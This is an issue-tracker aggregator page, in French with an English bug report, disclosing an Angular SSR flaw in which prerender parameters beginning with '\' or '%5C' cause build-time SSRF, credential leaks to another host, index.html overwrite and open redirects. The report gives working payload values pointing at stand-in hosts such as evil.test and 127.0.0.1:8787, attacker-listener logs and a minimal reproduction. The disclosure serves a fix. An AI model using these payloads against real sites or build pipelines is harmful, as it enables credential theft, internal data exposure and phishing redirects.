Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirects
Les mainteneurs répondent en général sous 1 jour
Évaluation
- Difficulté
- 4/5
- Temps estimé
- 3-5 jours
- Accessibilité débutants
- 35/100
- Type d'issue
- Bug
- Clarté
- Clairement spécifiée
- Activité
- Active
- Stack technique
- angular, typescript
- Domaine
- backend, build-system, security
Piste de recherche
Start by reading handlePrerenderParamsReplacement in packages/angular/ssr/src/routes/ng-routes.ts, then trace how the resolved route is used by renderPage in packages/angular/build/src/utils/server-rendering/render-worker.ts and by redirect generation in prerender.ts. Reproduce the supplied backslash and percent-encoded cases with the linked proof of concept. Done means prerendering cannot redirect to an attacker-controlled host, make cross-origin render requests, leak credentials, or overwrite the output page for those inputs.
Rédigé par le modèle d'indexation à partir du texte de l'issue.
Description
Command
other
Is this a regression?
- Yes, this behavior used to work in the previous version
The previous version in which this bug was not present was
No response
Description
This is the part of #34474 that escaping doesn't reach. 22.2.5 ships both fixes from that issue, and a getPrerenderParams() value that starts with \ still leaves the application's origin twice: while ng build renders the page, and in the redirect it ships.
handlePrerenderParamsReplacement only checks the type (ng-routes.ts#L553-L570):
if (typeof value !== 'string') {
throw new Error(/* ... */);
}
return parameterName === '**' ? `/${value}` : value;
So \cdn-login.test becomes the route /\cdn-login.test. As a path it looks harmless, but for http: the URL parser reads \ as /, so the route is //cdn-login.test, another host. Two places use the route as a URL:
renderPagebuilds the render request withnew Request(new URL(url, serverURL))(render-worker.ts#L54), so the page renders with that host as its origin, and every relativeHttpClientcall made during the render goes there.- The resolved
redirectTogoes into the generated redirect page (prerender.ts#L258), or intoLocationwithoutputMode: 'server'.
Those values are application data, the docs read them from a service:
const ids = await dataService.getIds();
return ids.map((id) => ({ id }));
So whoever can write one row, through a public signup or as a CMS author, picks where the build connects and where visitors land. The product in the repro validates both inputs (no whitespace, no raw \, no ..) and these still pass, because RouteTree.getPathSegments percent-decodes each segment afterwards (route-tree.ts#L212-L213). One value is enough:
| Value | Entered through | Result |
|---|---|---|
\cdn-login.test |
workspace slug, public signup | /%5Ccdn-login.test redirects to cdn-login.test |
%5C127.0.0.2/docs/getting-started |
CMS page path | the build reads an internal-only service and publishes the response |
%5C127.0.0.1:8787/%2E%2E |
CMS page path | the platform credentials go to 127.0.0.1:8787, and the site's index.html is replaced |
%5Cevil.test/docs/getting-started |
CMS page path | the build sends a request to evil.test |
ng build exits 0 with no warning for all of them.
1. Open redirect. Each workspace gets a vanity URL that lands on its home page:
{ path: ':workspace', children: [
{ path: '', pathMatch: 'full', redirectTo: 'home' },
{ path: 'home', component: WorkspacePage },
]},
With the slug \cdn-login.test the build writes this redirect page:
<meta http-equiv="refresh" content="0; url=/\cdn-login.test/home" />
In Chrome, http://status.statuslane.test/%5Ccdn-login.test ends on http://cdn-login.test/home. The link has no @, no second scheme and no //. escapeHtml leaves the target as it is, since there's nothing in it to escape.
2. Reading an internal service. Docs pages load their body in a resolver, over a relative URL:
inject(HttpClient).get(`/api/content/${path}`, { responseType: 'text' });
With the page path %5C127.0.0.2/docs/getting-started the page renders at http://127.0.0.2, so the build fetches http://127.0.0.2/api/content/docs/getting-started, a service only the CI network can reach. Its response, database URL included, is written into the published page and into ng-state. The attacker never needs an inbound connection, the response comes back through the site. The tail has to name a route that exists, otherwise the build fails with The content returned was empty.
3. Credentials to another host. The home page calls the internal API or/and an interceptor adds the platform token only to relative URLs, which is the usual guard:
if (!req.url.startsWith('/api/internal/')) {
return next(req);
}
return next(
req.clone({
setHeaders: { authorization, 'x-api-key': apiKey, cookie, 'x-ci-deploy-token': ciToken },
}),
);
With %5C127.0.0.1:8787/%2E%2E the URL is still relative when the interceptor runs and the origin is applied later, so all four headers arrive at 127.0.0.1:8787. %2E%2E consumes the host segment when posix.join computes the output path (prerender.ts#L462), so the page is written over the site's own index.html and dist has no odd file name. That write races the real home page: 1 of 3 builds at 0 ms, 3 of 3 when the listener answers after 1500 ms. The credentials go out every time.
4. allowedHosts isn't consulted. The app sets security.allowedHosts: ["localhost"], none of the hosts above is on it, and the build went to all of them. A DNS name works the same. With the page path %5Cevil.test/docs/getting-started the page renders at http://evil.test, and its request only fails because .test doesn't resolve:
evil.test/docs/getting-started/index.html
origin http://evil.test
content "unavailable (Http failure response for http://evil.test/api/c)"
A name the attacker owns would connect. The page gets that origin even though nothing answered, because the origin is set before any request is made. allowedHosts only decides which Host headers the running server answers. A filter on the raw value doesn't help either, since %5C is decoded later.
Minimal Reproduction
Repository: https://github.com/SkyZeroZx/angular-cli-prerender-param-ssrf-poc
There the values arrive over HTTP from the application's own API, through a public signup and a CMS author token. Every host is on loopback.
npm ci
npm run attack
npm run browser
build exit 0, prerendered 12, warnings 0
allowedHosts ["localhost"] (angular.json)
P1 signup "\cdn-login.test" accepted landed
P2 cms "%5C127.0.0.2/docs/getting-started" accepted landed
P3 cms "%5C127.0.0.1:8787/%2E%2E" accepted landed
P4 cms "%5Cevil.test/docs/getting-started" accepted landed
[attacker] GET /api/internal/metrics Host=127.0.0.1:8787 UA=node (not in allowedHosts)
[internal] GET /api/content/docs/getting-started Host=127.0.0.2 UA=node (not in allowedHosts)
Without the lab, one route and one value:
// app.routes.ts
export const routes: Routes = [
{
path: ':tenant',
children: [
{ path: '', redirectTo: 'home', pathMatch: 'full' },
{ path: 'home', component: Page },
],
},
{ path: '**', component: Page },
];
// app.routes.server.ts
export const serverRoutes: ServerRoute[] = [
{
path: ':tenant',
renderMode: RenderMode.Prerender,
getPrerenderParams: async () => [{ tenant: '\\evil.test' }],
},
{ path: '**', renderMode: RenderMode.Client },
];
ng build
NG_ALLOWED_HOSTS=localhost PORT=4000 node dist/<app>/server/server.mjs &
curl -s -o /dev/null -D - http://localhost:4000/%5Cevil.test | grep -i location
location: /\evil.test/home
With --output-mode=static the same value writes a redirect page with the same target.
Exception or Error
Your Environment
Angular CLI 22.2.5
@angular/build 22.2.5
@angular/ssr 22.2.5
@angular/core 22.2.3
Node.js 24.16.0
npm 11.13.0
Windows 11 x64
Chrome 156
Anything else relevant?
No response
- Langage dominant
- TypeScript
- Étoiles
- 27k
- Forks
- 11.8k
- Merge moyen
- 1 j 5 h
- PR mergées (30 j)
- 280
Préparer son environnement
- Aucun Dockerfile ni fichier Docker Compose
- Propose un modèle de pull request
- Lire le guide de contribution
Par où commencer
- Lisez l'issue en entier, puis le guide de contribution du projet.
- Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
- Forkez le dépôt et travaillez sur une branche.
- Ouvrez une pull request qui référence le numéro de l'issue.
Autres issues de angular/angular-cli
-
Can't use an array of hostnames in --allowedHosts cli parameter in @angular/build:dev-serverPeut-être pris Une pull request liée à cette issue est ouverte ou déjà fusionnée. Ouvertearea: @angular/build gemini-triaged
Difficulté 2/5 1-3 heures Accessibilité débutants 74/100
angular/angular-cli#33955 ·
Les mainteneurs répondent en général sous 1 jour
-
Allow tests to pass without any test files (e.g. via Vitest `passWithNoTests`)Peut-être à nouveau libre Une pull request pour cette issue a été fermée sans être fusionnée. Ouvertearea: @angular/cli gemini-triaged
Difficulté 2/5 1-3 heures Accessibilité débutants 72/100
angular/angular-cli#33055 · 1 commentaire · 3 réactions ·
Les mainteneurs répondent en général sous 1 jour
-
@angular/build: source-map comment scanner corrupts valid JS containing a regex literalPeut-être pris @alan-agius4 l’a pris il y a 1 jour. Ouvertearea: @angular/build
Difficulté 3/5 1-2 jours Accessibilité débutants 76/100
angular/angular-cli#34590 ·
Les mainteneurs répondent en général sous 1 jour
-
Debug ID changes the bytes of an optimized chunk but not its file name, so cached files fail the SRI checkPeut-être pris @alan-agius4 l’a pris il y a 1 jour. Ouvertearea: @angular/build
Difficulté 4/5 3-5 jours Accessibilité débutants 55/100
angular/angular-cli#34574 · 4 réactions ·
Les mainteneurs répondent en général sous 1 jour
-
build: ERR_REQUIRE_CYCLE_MODULE when loading oxc-parser in StackBlitz / WebContainerPeut-être pris Une pull request liée à cette issue est ouverte ou déjà fusionnée. Ouvertearea: @angular/build
Difficulté 3/5 1-2 jours Accessibilité débutants 55/100
angular/angular-cli#34524 · 5 commentaires · 2 réactions ·
Les mainteneurs répondent en général sous 1 jour
Toutes les issues de angular/angular-cli
Issues similaires
-
bug triage
Difficulté 2/5 1-3 heures Accessibilité débutants 74/100
Les mainteneurs répondent en général sous 1 jour
-
Export the Hemi Earn Router address and the Router and Agent ABIs from `@vetro-protocol/earn`Ouvertehemi-earn
Difficulté 2/5 1-3 heures Accessibilité débutants 82/100
vetro-protocol/vetro-monorepo#1043 ·
Les mainteneurs répondent en général sous 1 jour
-
stage 2: bare names resolve against PATH differently from the shell (empty and relative entries)Ouverte
Difficulté 2/5 1-3 heures Accessibilité débutants 82/100
STRML/omp-classifier#206 ·
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 2/5 1-3 heures Accessibilité débutants 70/100
atlassian-labs/mermaid-diagrams-viewer#188 ·
Les mainteneurs répondent en général sous 1 jour
-
dashboard enhancement
Difficulté 2/5 1-3 heures Accessibilité débutants 76/100
Olanetsoft/agent-lookout#225 ·
Les mainteneurs répondent en général sous 1 jour